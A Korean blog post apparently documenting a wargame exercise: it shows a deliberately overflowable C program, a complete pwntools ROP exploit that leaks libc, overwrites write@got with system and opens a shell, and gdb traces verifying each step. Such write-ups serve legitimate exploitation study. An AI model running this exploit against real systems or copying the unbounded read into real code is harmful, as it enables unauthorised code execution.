ROP 디버깅

#코딩노예#·2023년 4월 21일
0

기타

목록 보기
15/16

예시 코드

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int main(int argc, char *argv[]) {
    char buf[0x40] = {};

    initialize();

    read(0, buf, 0x400);
    write(1, buf, sizeof(buf));

    return 0;
}

보호 기법

❯ checksec rop
[*] '/root/wargame/ROP/rop'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

익스플로잇 코드

from pwn import *

def slog(symbol, addr):
    return success(symbol + ": " + hex(addr))


#context.log_level = 'debug'

p = process("./rop")
e = ELF("./rop")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec=False)
r = ROP(e)


read_plt = e.plt["read"]
read_got = e.got["read"]
write_plt = e.plt["write"]
write_got = e.got["write"]
bss = e.bss()

read_offset = libc.symbols["read"]
system_offset = libc.symbols["system"]

pop_rdi = r.find_gadget(['pop rdi', 'ret'])[0]
pop_rsi_r15 = r.find_gadget(['pop rsi', 'pop r15', 'ret'])[0]
ret = r.find_gadget(['ret'])[0]


payload:bytes = b'A' * 72

# write(1, read@got, 8)
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(8)
payload += p64(write_plt)


# read(0, bss, 8)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(bss) + p64(8)
payload += p64(read_plt)


# read(0, write@got, 8)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(write_got) + p64(8)
payload += p64(read_plt)


# write("/bin/sh") -> system("/bin/sh")
payload += p64(ret)
payload += p64(pop_rdi) + p64(bss)
payload += p64(write_plt)


pause()
p.send(payload)

p.recvuntil(b'A' * 64)
read = u64(p.recvn(6)+b'\x00'*2)
lb = read - read_offset
system = lb + system_offset

slog("read", read)
slog("libc base", lb)
slog("system", system)


pause()
p.send(b"/bin/sh\x00")
pause()
p.send(p64(system))
p.recv(64)

p.interactive()


디버깅

PID attach

❯ /usr/bin/python3 /root/wargame/ROP/exploit2.py
[+] Starting local process './rop': pid 1970
[*] '/root/wargame/ROP/rop'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] Loaded 14 cached gadgets for './rop'
[*] Paused (press any to continue)

페이로드 전송 전에 pause() 로 잠시 멈춥니다.


gef➤  attach 1970
Attaching to process 1970

디버거를 열고 PIDattach 합니다.


   0x000000000040081a <+139>:   ret
End of assembler dump.
gef➤  b * main+139
Breakpoint 1 at 0x40081a
gef➤  c
Continuing.

ret 에 break point를 걸고 continue 를 합니다.


❯ /usr/bin/python3 /root/wargame/ROP/exploit2.py
[+] Starting local process './rop': pid 1970
[*] '/root/wargame/ROP/rop'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] Loaded 14 cached gadgets for './rop'
[*] Paused (press any to continue)

엔터키를 쳐서 페이로드를 전송합니다.


write(1, read@got, 8)

─────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
     0x40080f <main+128>       call   0x4005d0 <write@plt>
     0x400814 <main+133>       mov    eax, 0x0
     0x400819 <main+138>       leave
 →   0x40081a <main+139>       ret
   ↳    0x400883 <__libc_csu_init+99> pop    rdi
        0x400884 <__libc_csu_init+100> ret
        0x400885                  nop
        0x400886                  nop    WORD PTR cs:[rax+rax*1+0x0]
        0x400890 <__libc_csu_fini+0> repz   ret
        0x400892                  add    BYTE PTR [rax], al

디버거를 보면 페이로드 전송되어 pop rdi로 ROP를 시작합니다.


─────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
     0x4005c0 <puts@plt+0>     jmp    QWORD PTR [rip+0x200a52]        # 0x601018
     0x4005c6 <puts@plt+6>     push   0x0
     0x4005cb <puts@plt+11>    jmp    0x4005b0
 →   0x4005d0 <write@plt+0>    jmp    QWORD PTR [rip+0x200a4a]        # 0x601020
     0x4005d6 <write@plt+6>    push   0x1
     0x4005db <write@plt+11>   jmp    0x4005b0
     0x4005e0 <alarm@plt+0>    jmp    QWORD PTR [rip+0x200a42]        # 0x601028
     0x4005e6 <alarm@plt+6>    push   0x2
     0x4005eb <alarm@plt+11>   jmp    0x4005b0

ni 를 여러번 입력하면 pop rdi; ret, pop rsi; pop r15; ret 가 실행된 이후 write 함수가 실행됩니다.


gef➤  finish
─────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
 →   0x400883 <__libc_csu_init+99> pop    rdi
     0x400884 <__libc_csu_init+100> ret
     0x400885                  nop
     0x400886                  nop    WORD PTR cs:[rax+rax*1+0x0]
     0x400890 <__libc_csu_fini+0> repz   ret
     0x400892                  add    BYTE PTR [rax], al

finish 함수를 통해 write 함수를 실행시키면 write(1, read@got, 8) 이 실행되어 read 함수 주소가 릭됩니다.


❯ /usr/bin/python3 /root/wargame/ROP/exploit2.py
[+] Starting local process './rop': pid 1970
[*] '/root/wargame/ROP/rop'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] Loaded 14 cached gadgets for './rop'
[*] Paused (press any to continue)
[+] read: 0x7fbc1b8c2020
[+] libc base: 0x7fbc1b7b2000
[+] system: 0x7fbc1b801420
[*] Paused (press any to continue)
[*] Paused (press any to continue)

릭된 read 함수 주소와 다른 주소들이 맞는지 확인해보면


gef➤  print read
$1 = {ssize_t (int, void *, size_t)} 0x7fbc1b8c2020 <__GI___libc_read>
gef➤  print system
$2 = {int (const char *)} 0x7fbc1b801420 <__libc_system>

올바른 값이 릭 됬습니다.


read(0, bss, 8)

이제 bss 영역에 "/bin/sh" 가 제대로 써졌는지 확인을 해보겠습니다.

─────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
     0x4005e0 <alarm@plt+0>    jmp    QWORD PTR [rip+0x200a42]        # 0x601028
     0x4005e6 <alarm@plt+6>    push   0x2
     0x4005eb <alarm@plt+11>   jmp    0x4005b0
 →   0x4005f0 <read@plt+0>     jmp    QWORD PTR [rip+0x200a3a]        # 0x601030
     0x4005f6 <read@plt+6>     push   0x3
     0x4005fb <read@plt+11>    jmp    0x4005b0
     0x400600 <signal@plt+0>   jmp    QWORD PTR [rip+0x200a32]        # 0x601038
     0x400606 <signal@plt+6>   push   0x4
     0x40060b <signal@plt+11>  jmp    0x4005b0

read 함수가 나올 때 까지 ni 를 입력하고 finish 명령어를 입력한 후

❯ /usr/bin/python3 /root/wargame/ROP/exploit2.py
[+] Starting local process './rop': pid 1970
[*] '/root/wargame/ROP/rop'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] Loaded 14 cached gadgets for './rop'
[*] Paused (press any to continue)
[+] read: 0x7fbc1b8c2020
[+] libc base: 0x7fbc1b7b2000
[+] system: 0x7fbc1b801420
[*] Paused (press any to continue)
[*] Paused (press any to continue)

엔터를 치고 디버깅 창에서 bss 영역을 봐보면


gef➤  elf
  [24] .bss                      SHT_NOBITS   0x601060   0x1060     0x20      0x0 UNKNOWN_FLAG  0x0  0x0     0x10
gef➤  x/s 0x601060
0x601060 <stdout@@GLIBC_2.2.5>: "/bin/sh"

"/bin/sh"가 잘 저장되었습니다.


read(0, write@got, 8)

똑같은 방식으로 read(0, write@got, 8) 이 실행되게 하고

❯ /usr/bin/python3 /root/wargame/ROP/exploit2.py
[+] Starting local process './rop': pid 1970
[*] '/root/wargame/ROP/rop'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] Loaded 14 cached gadgets for './rop'
[*] Paused (press any to continue)
[+] read: 0x7fbc1b8c2020
[+] libc base: 0x7fbc1b7b2000
[+] system: 0x7fbc1b801420
[*] Paused (press any to continue)
[*] Paused (press any to continue)

엔터를 친후 디버깅 창을 확인해보면

gef➤  got

GOT protection: Partial RelRO | GOT functions: 7

[0x601018] puts@GLIBC_2.2.5  →  0x4005c6
[0x601020] write@GLIBC_2.2.5  →  0x7fbc1b801420
[0x601028] alarm@GLIBC_2.2.5  →  0x7fbc1b0a736c
[0x601030] read@GLIBC_2.2.5  →  0x7fbc1b8c2020
[0x601038] signal@GLIBC_2.2.5  →  0x7fbc1b7f0d90
[0x601040] setvbuf@GLIBC_2.2.5  →  0x7fbc1b8332a0
[0x601048] exit@GLIBC_2.2.5  →  0x400626
gef➤  print system
$4 = {int (const char *)} 0x7fbc1b801420 <__libc_system>

write@gotsystem 함수의 주소로 GOT Overwrite 되었습니다.


write("/bin/sh") ⇾ system("/bin/sh")

그래서 최종적으로 익스플로잇 코드를 다 실행시키면

❯ /usr/bin/python3 /root/wargame/ROP/exploit2.py
[+] Starting local process './rop': pid 1970
[*] '/root/wargame/ROP/rop'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] Loaded 14 cached gadgets for './rop'
[*] Paused (press any to continue)
[+] read: 0x7fbc1b8c2020
[+] libc base: 0x7fbc1b7b2000
[+] system: 0x7fbc1b801420
[*] Paused (press any to continue)
[*] Paused (press any to continue)
[*] Switching to interactive mode
$ ls
exploit.py  exploit2.py  rop  rop.c

쉘이 뜨는것을 확인할 수 있습니다.

0개의 댓글